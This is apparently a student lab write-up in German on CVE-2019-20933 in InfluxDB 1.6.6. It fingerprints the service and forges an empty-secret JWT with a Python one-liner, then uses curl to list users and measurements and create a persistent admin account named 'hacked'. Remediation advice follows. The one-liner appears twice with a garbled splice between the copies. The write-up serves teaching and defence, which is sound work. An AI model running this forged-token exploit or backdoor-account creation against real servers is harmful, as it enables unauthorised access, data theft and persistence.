LAB 5-CVE-2019-20933

I. SYSTEMANALYSE

Angriffsfläche identifizieren

Beginnend mit dem, was in der Umgebung läuft. Ich liste alle aktiven Container auf:

docker ps

Das Opfer gibt einen einzelnen Port frei: 8086.

Derzeit habe ich keine detaillierten Informationen über das Ziel. Aus der docker ps-Ausgabe geht hervor, dass das System nur einen bemerkenswerten Dienst extern an Port 8086 freigibt, der auf den Dienst im Container abgebildet ist. Dies ist die primäre Angriffsfläche, die es zu analysieren gilt.

Anstatt sofort über den Browser darauf zuzugreifen, fahren wir fort, den Dienst mit Nmap zu identifizieren, um herauszufinden, welcher Dienst auf Port 8086 läuft:

nmap -sV -sC -p 8086 192.168.3.137

Die Scan-Ergebnisse zeigen, dass Port 8086 der HTTP-Dienst von InfluxDB OSS 1.6.6 ist. Es handelt sich um eine Zeitreihendatenbank, die über eine HTTP-API verfügbar gemacht wird, nicht um eine typische Webanwendung.

Analyse nach dem Fingerprinting

InfluxDB ist eine quelloffene Zeitreihendatenbank (TSDB), die in Go geschrieben ist. Im Gegensatz zu RDBMS (optimiert für präzise Transaktionen) oder Elasticsearch (optimiert für Textsuche) wurde InfluxDB mit einem einzigen Zweck entwickelt: Bewältigung massiver Schreibvolumina (hoher Schreibdurchsatz) und Abfragen von Daten entlang der Zeitachse mit geringer Latenz.

Da der Dienst als InfluxDB identifiziert wurde, besteht der nächste Schritt darin, nachzulesen, wie InfluxDB mit Clients kommuniziert. Gemäß der InfluxDB v1 HTTP-API-Dokumentation ist Port 8086 der Standard-HTTP-API-Port. Wichtige Endpunkte sind:

• /ping: prüft den Betriebsstatus des Servers.
• /query: sendet InfluxQL-Abfragen zum Lesen von Metadaten oder Daten.
• /write: schreibt Zeitreihendaten in die Datenbank.

⇒ Überlegung: Nachdem Nmap den Dienst als InfluxDB http admin 1.6.6 identifiziert hat, testen wir ihn nicht weiter wie eine Standard-Website. Bei Webanwendungen suchen wir typischerweise nach Routen, Anmeldeformularen oder Verzeichnissen. Bei InfluxDB liegt die Angriffsfläche innerhalb der HTTP-API. Daher müssen wir zum Testen auf die standardmäßigen InfluxDB-API-Endpunkte umschalten, um festzustellen, ob die API eine Authentifizierung erfordert. Folglich besteht die nächste Testrichtung nicht darin, auf / zuzugreifen, sondern direkte Anfragen an die API-Endpunkte von InfluxDB zu senden.

API-Verhalten analysieren und Authentifizierungsziele identifizieren

Überprüfen des /ping-Endpunkts

Nachdem Port 8086 als InfluxDB-HTTP-API identifiziert wurde, überprüfen Sie den /ping-Endpunkt, um zu bestätigen, dass der Dienst betriebsbereit ist:

curl -i <http://192.168.3.137:8086/ping>

Response 204 No Content bestätigt, dass InfluxDB normal arbeitet. Die Header bestätigen weiterhin die Dienstversion als InfluxDB OSS 1.6.6

Überprüfen der Authentifizierung am /query-Endpunkt

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

Der /query-Endpunkt erlaubt keine direkten Abfragen ohne Authentifizierungsnachweise. Dies bestätigt, dass InfluxDB die Authentifizierung aktiviert hat und alle anonymen Abfragen an das System blockiert.

Ich wechsle zur Überlegung: Hat InfluxDB Version 1.6.6 eine Schwachstelle, die das Umgehen des Authentifizierungsmechanismus erlaubt?

Durch Bezugnahme auf öffentliche Schwachstellendatenbanken sind InfluxDB-Versionen vor 1.7.6 von CVE-2019-20933 betroffen. Dies ist eine Schwachstelle zur Umgehung der Authentifizierung innerhalb der Authentifizierungsfunktion von InfluxDB, die mit der Verarbeitung von JWT-Tokens mit einem leeren gemeinsamen Geheimnis zusammenhängt.

Da das Ziel InfluxDB 1.6.6 ausführt, was niedriger als die gepatchte Version 1.7.6 ist, fällt der Dienst in den betroffenen Versionsbereich.

Es kann gefolgert werden:

Dienst: InfluxDB OSS
Version: 1.6.6
Authentifizierung: Aktiviert
CVE-Zuordnung: CVE-2019-20933
Auswirkung: Umgehung der Authentifizierung
Status: Version angreifbar

⇒ Überlegung: Anfangs gibt der /query-Endpunkt 401 Unauthorized zurück, was anzeigt, dass der Authentifizierungsmechanismus aktiv ist. Das Vorhandensein einer Authentifizierung bedeutet jedoch nicht absolute Sicherheit. Wenn die Version als 1.6.6 identifiziert wurde, müssen wir sie mit bekannten CVEs korrelieren. Die Ergebnisse zeigen, dass diese Version in den von CVE-2019-20933 betroffenen Bereich fällt, was bedeutet, dass es möglich ist, den Authentifizierungsmechanismus zu umgehen, der den /query-Endpunkt schützt. Basierend auf diesen Identifikationsergebnissen wird sich die Ausbeutungsphase darauf konzentrieren, CVE-2019-20933 zu verifizieren, indem ein geeignetes JWT-Token generiert wird, um die Authentifizierung zu umgehen und Abfragen gegen den /query-Endpunkt auszuführen.

Analyse des Schwachstellenmechanismus (CVE-2019-20933)

Die Schwachstelle CVE-2019-20933 tritt in der authenticate-Funktion innerhalb der Datei services/httpd/handler.go von InfluxDB vor Version 1.7.6 auf.

JWT-Authentifizierungsmechanismus in InfluxDB

InfluxDB unterstützt die Authentifizierung mittels JSON Web Tokens (JWT) für HTTP-API-Anfragen. Beim Empfang einer Anfrage mit dem Header:

Authorization: Bearer <token>

InfluxDB führt die folgenden Schritte aus:

1. Dekodieren des Tokens, um Header und Payload zu extrahieren.
2. Auslesen des Wertes shared-secret aus der Konfigurationsdatei influxdb.conf, um als geheimer Schlüssel für die Signaturprüfung des Tokens zu dienen.
3. Wenn die Signatur gültig ist, das Feld username aus den Claims abrufen, um den Benutzer zu bestimmen, der die Abfrage ausführt.

Der Fehler

In den betroffenen Versionen kann der geheime Wert als leerer String ("") verarbeitet werden, wenn die JWT-Authentifizierung aktiviert, der Parameter shared-secret jedoch nicht konfiguriert ist.

Das System validiert die Sicherheitsstärke des Geheimnisses nicht ausreichend, bevor es die JWT-Signatur überprüft. Dies ermöglicht einem Angreifer, ein benutzerdefiniertes JWT zu erstellen, es mit einem leeren Geheimnis zu signieren und dann den username-Claim auf ein gültiges Konto im System zu setzen, wie z.B. admin, falls dieses Konto im Labor existiert.

Wenn dieses Token über den Authorization: Bearer <token>-Header übermittelt wird, verwendet InfluxDB dasselbe leere Geheimnis, um die Signatur zu überprüfen. Wenn die Signatur übereinstimmt und der Benutzername existiert, wird die Anfrage autorisiert, ohne dass das tatsächliche Passwort des Benutzers erforderlich ist.

Der Verarbeitungsablauf kann wie folgt zusammengefasst werden:

Ablauf der Ausnutzung auf logischer Ebene:

InfluxDB < 1.7.6
→ authentication enabled
→ empty shared-secret
→ attacker creates JWT signed with secret ""
→ sends token via Authorization: Bearer
→ server accepts the token
→ query to /query succeeds

Zusammenfassung

Nach dem Verständnis des CVE-Mechanismus ist es notwendig, ihn mit dem Ziel zu korrelieren, um Schlussfolgerungen zu vermeiden, die ausschließlich auf der Version basieren.

In diesem Moment wird CVE-2019-20933 als ein sehr geeigneter Kandidat für das Ziel identifiziert. Um jedoch die praktische Ausnutzung zu bestätigen, müssen wir ein JWT generieren, das mit einem leeren shared secret signiert ist, und es an den /query-Endpunkt senden.

Wenn der Server dieses Token akzeptiert und die Ausführung von Abfragen erlaubt, können wir erst dann schlussfolgern, dass die CVE erfolgreich ausgenutzt wurde.

II. AUSNUTZUNG

Manuelles Erstellen eines gefälschten JWT

Aus der obigen Analyse des Schwachstellenmechanismus ergeben sich folgende Bedingungen für die Ausnutzung:

1. Erstellen Sie ein JWT mit einem gültigen username im System.
2. Signieren Sie dieses Token mit einem leeren geheimen Schlüssel ("").
3. Senden Sie das Token über den Authorization: Bearer <token>-Header an den /query-Endpunkt.

Identifizieren der zu erstellenden JWT-Struktur

Ein JWT besteht aus 3 durch Punkte getrennten Teilen: Header.Payload.Signature

Header

{"alg":"HS256","typ":"JWT"}

Payload

{"username":"admin","exp":2147483647}

• username: target account. In this lab, InfluxDB creates a default admin user.
• exp: token expiration time, set extremely far in the future (the year 2038) to avoid rejection due to expiration.

Signature

HMAC-SHA256(key = "", message = Base64URL(Header) + "." + Base64URL(Payload))

Generating JWT via Python One-liner on Kali

On Kali, we generate the complete JWT with a single command:

python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

We obtain the string:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw

• b64url(): Konvertiert ein Python-Dict in einen JSON-String und kodiert ihn im Base64URL-Format (entfernt die =-Padding gemäß dem JWT-Standard).
• hmac.new(b'', ...): Signiert die Nachricht unter Verwendung des HMAC-SHA256-Algorithmus mit einem leeren Schlüssel (b''). Dies ist der Angriffsvektor – der leere Schlüssel entspricht dem nicht konfigurierten shared-secret auf dem Server.
• Das Endergebnis ist die Header.Payload.Signature-Zeichenfolge gemäß dem JWT RFC 7519 Standard.

Senden des Tokens an den /query-Endpunkt zur Verifikation der CVE

Speichern Sie das Token in einer Umgebungsvariablen und senden Sie dann eine SHOW DATABASES-Abfrage:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"

curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \

  -H "Authorization: Bearer $TOKEN"

Ergebnisanalyse:

• Die Antwort wechselt von 401 Unauthorized zu 200 OK.
• Der Server gibt die tatsächliche Liste der auf dem System vorhandenen Datenbanken zurück.
• Dies beweist, dass das mit einem leeren Geheimnis signierte JWT vom Server akzeptiert wurde und erfolgreich Abfrageberechtigungen erteilt hat.

⇒ CVE-2019-20933 wird als erfolgreich auf dem Ziel ausgenutzt bestätigt. Mit einem selbst erstellten JWT, das mit einem leeren Schlüssel signiert wurde, haben wir den Authentifizierungsmechanismus vollständig umgangen und Abfragezugriff als admin erhalten.

III. NACH DER AUSNUTZUNG

Nach erfolgreicher Umgehung der Authentifizierung fahren wir mit tiefergehender Post-Exploitation fort, um sensible Daten in den Datenbanken des Systems zu sammeln. Aus den Ergebnissen von SHOW DATABASES hat das System 2 Datenbanken: _internal (die standardmäßige interne Überwachungsdatenbank von InfluxDB) und sample (die operative Geschäftsdatenbank).

1. Auflisten der Benutzer im InfluxDB-System

curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
  -H "Authorization: Bearer $TOKEN"

Das System enthält nur einen einzigen Benutzer: admin mit Administratorrechten (admin: true). Dies bestätigt, dass unser gefälschtes JWT erfolgreich das einzige Administratorkonto auf dem System imitiert hat.

2. Auflisten der Messungen in der _internal-Datenbank

Die sample-Datenbank enthält keine Messungen (sie ist leer). Die _internal-Datenbank ist jedoch die interne Überwachungsdatenbank von InfluxDB und enthält immer Systemmetriken:

curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
  -H "Authorization: Bearer $TOKEN"

Die _internal-Datenbank enthält 12 interne Überwachungsmessungen: cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal und write. Diese Tabellen speichern detaillierte Betriebsstatistiken der InfluxDB-Instanz – einschließlich HTTP-Abfrageprotokolle, Datenbankleistungsmetriken und Status der Speicher-Engine.

3. Erstellen eines neuen Admin-Benutzers

Um zu demonstrieren, dass der umgangene admin-Zugriff nicht auf schreibgeschützte Aktionen beschränkt ist, sondern auch Schreib- und Verwaltungszugriff gewährt, erstellen wir ein neues Benutzerkonto mit vollständigen Administratorrechten:

curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
  -H "Authorization: Bearer $TOKEN"

Die Antwort gibt statement_id: 0 ohne ein error-Feld zurück – was bestätigt, dass der Befehl CREATE USER erfolgreich ausgeführt wurde. Der Angreifer kann sich nun direkt mit den Anmeldeinformationen hacked / Dung mit vollem Administratorzugriff anmelden, ohne das gefälschte JWT-Token weiterhin zu benötigen.

⇒ Dies dient als stärkster Beweis dafür, dass die Schwachstelle CVE-2019-20933 nicht nur die Offenlegung von Daten erlaubt, sondern es einem Angreifer auch ermöglicht, die vollständige Kontrolle über das InfluxDB-System zu übernehmen – einschließlich Benutzerverwaltung, Zerstörung von Datenbanken und Änderungen an der Systemkonfiguration.

Bewertung der Berechtigungsausweitung und Systemauswirkungen

Im Gegensatz zu Schwachstellen zur Remotecodeausführung (RCE), die direkt auf die Betriebssystemebene abzielen (wie in Lab 3), beschränkt CVE-2019-20933 ihren Einflussbereich auf die Datenbankverwaltungsebene. Die Schwere bleibt jedoch aufgrund folgender Punkte kritisch hoch:

• Vollständiger Verlust der Vertraulichkeit: Angreifer können alle sensiblen Daten in InfluxDB extrahieren, einschließlich Systemmetadaten und Container-Umgebungskonfigurationen.
• Vollständiger Verlust der Integrität: Angreifer haben uneingeschränkte Berechtigungen zum Ändern, Löschen oder Einfügen von betrügerischen Daten – wie durch die erfolgreiche Erstellung des hacked-Benutzers mit vollständigen Administratorrechten nachgewiesen.
• Persistenz: Nach der Einrichtung des Administratorkontos kann der Angreifer Persistenz herstellen, indem er sich mit Standard-Basic-Auth authentifiziert, ohne auf das benutzerdefinierte gefälschte JWT angewiesen zu sein.
• Potenzial für laterale Bewegung: Gesammelte Informationen (wie Container-Hostnamen und Datenbankarchitektur) können genutzt werden, um auf angrenzende Dienste im Docker-Subnetz auszuweichen und diese anzugreifen.

IV. RISIKOBEWERTUNG & EMPFEHLUNGEN ZUR BEHEBUNG

Risikobewertung

Empfehlungen zur Behebung

Um diese kritische Sicherheitslücke vollständig zu beheben, sollten Systemadministratoren die folgenden Gegenmaßnahmen umgehend umsetzen:

Sofortmaßnahmen (kurzfristig):

1. Erzwingen einer starken Shared-Secret-Konfiguration Wenn ein Upgrade nicht sofort möglich ist, bearbeiten Sie die Konfigurationsdatei influxdb.conf, um ein langes, komplexes und zufälliges gemeinsames Geheimnis im Abschnitt [http] zu definieren:

   root@kitploit:~

   ini
   
   [http]
     enabled = true
     auth-enabled = true
     shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
   

   Hinweis: Starten Sie den InfluxDB-Dienst nach der Bearbeitung der Konfiguration neu, damit die Änderungen wirksam werden.

2. Aktualisieren der InfluxDB-Instanz auf eine gepatchte Version Aktualisieren Sie InfluxDB sofort auf Version 1.7.6 oder höher. Die Entwickler haben die Authentifizierungsroutine in diesen Versionen geändert, um JWT-Tokens abzulehnen, die mit leeren oder unsicheren gemeinsamen Geheimnissen signiert wurden.

Maßnahmen zur verteidigung in der Tiefe (langfristig):

1. Implementieren von Netzwerksegmentierungsregeln
   • Setzen Sie den API-Port 8086 niemals dem öffentlichen Internet aus.
   • Beschränken Sie die Kommunikation mit InfluxDB streng auf autorisierte interne Dienste (wie Grafana, Telegraf oder Backend-Anwendungen) durch Firewall-Regeln oder isolierte Docker-Netzwerke.
2. Verwenden des HTTPS-Protokolls
   • Konfigurieren Sie SSL/TLS für den InfluxDB-API-Endpunkt, um sicherzustellen, dass alle übertragenen Telemetriedaten (einschließlich der JWT-Tokens) verschlüsselt sind, wodurch das Risiko des Sammelns von Tokens durch Man-in-the-Middle (MitM)-Abhörangriffe ausgeschlossen wird.